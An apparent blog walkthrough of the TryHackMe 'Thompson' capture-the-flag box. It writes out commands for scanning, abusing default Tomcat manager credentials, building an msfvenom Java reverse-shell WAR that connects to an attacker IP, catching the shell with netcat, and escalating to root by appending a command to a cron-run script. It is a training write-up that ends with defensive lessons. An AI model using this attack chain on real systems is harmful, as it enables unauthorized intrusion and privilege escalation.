Solving TryHackMe Box — Thompson
Hello folks!
Today, I will walk through the THM box — Thompson. This is an easy box, The initial access to the machine can be obtained just by enumeration. It makes us realize how easy it is, to get into an application if the default/example credentials are used for the application and how stupid that idea even is.
First, As usual enumeration with nmap to know the open ports and the services running on them.
nmap -sC -sV -v <TARGET_IP_ADDR>
Ports 22, 8009, 8080 are open. I started with port 8080 as it is tomcat web server. The default tomcat webpage is displayed when the website is accessed. On trying to access the manager app, a password prompt is displayed. Cancelling the prompt displayed the Unauthorized page.
The page contains an example with default credentials, using these credentials we can directly login to the manage app page.
Once we are inside the manage app, we can also deploy a war file to the server. Taking this as an advantage, using msfvenom I have created an payload in war format to obtain the reverse shell.
msfvenom -p java/shell_reverse_tcp lhost=<ATTACK_MACHINE_IP> lport=<PORT> -f war -o pwn.war
Once the payload is created I had to upload that to the server and deploy it.
After deploying the war file, accessing the /pwn/ URL on the webpage will trigger the reverse shell. In order to get the shell, a listener should be created. I used netcat for this.
nc -lvp <PORT>
Once the listener is started, accessing the /pwn/ URL will result in reverse shell.
But, this shell obtained is not an interactive one. Using the following command I got interactive shell.
python -c ‘import pty; pty.spawn(“/bin/bash”)’
Once interactive shell is obtained, got the user flag from user.txt
Get Serene Summit’s stories in your inbox
Join Medium for free to get updates from this writer.
Checked other files in the folder as well. The id.sh file is printing the id command output to test.txt file. The test.txt file contains the uid of root, indicating that id.sh is ran with root permissions. So, checked the permissions of files in the folder.
In the list test.txt has root permissions and id.sh doesn’t. I then checked if it being run by a cron job, and I was right.
Modifying the id.sh to my need would get me the root flag. I added the following line to id.sh to get the root.txt file.
echo “cat /root/root.txt > root.txt” >> ./id.sh
Waited for a minute to let the cron job run. Finally got the root.txt and obtained the root flag.
Two learning's from this box:
1) Avoid using default credentials.
2) Avoid running user scripts in cronjob with elevated privileges.
![[IronHold] — Spring Boot Source Code Analysis: Finding Credentials, SQL Injection, PrivEsc, and…](https://miro.medium.com/v2/resize:fit:1358/format:webp/1*2yaTo73YRGo1GknAUJNfPg.jpeg)
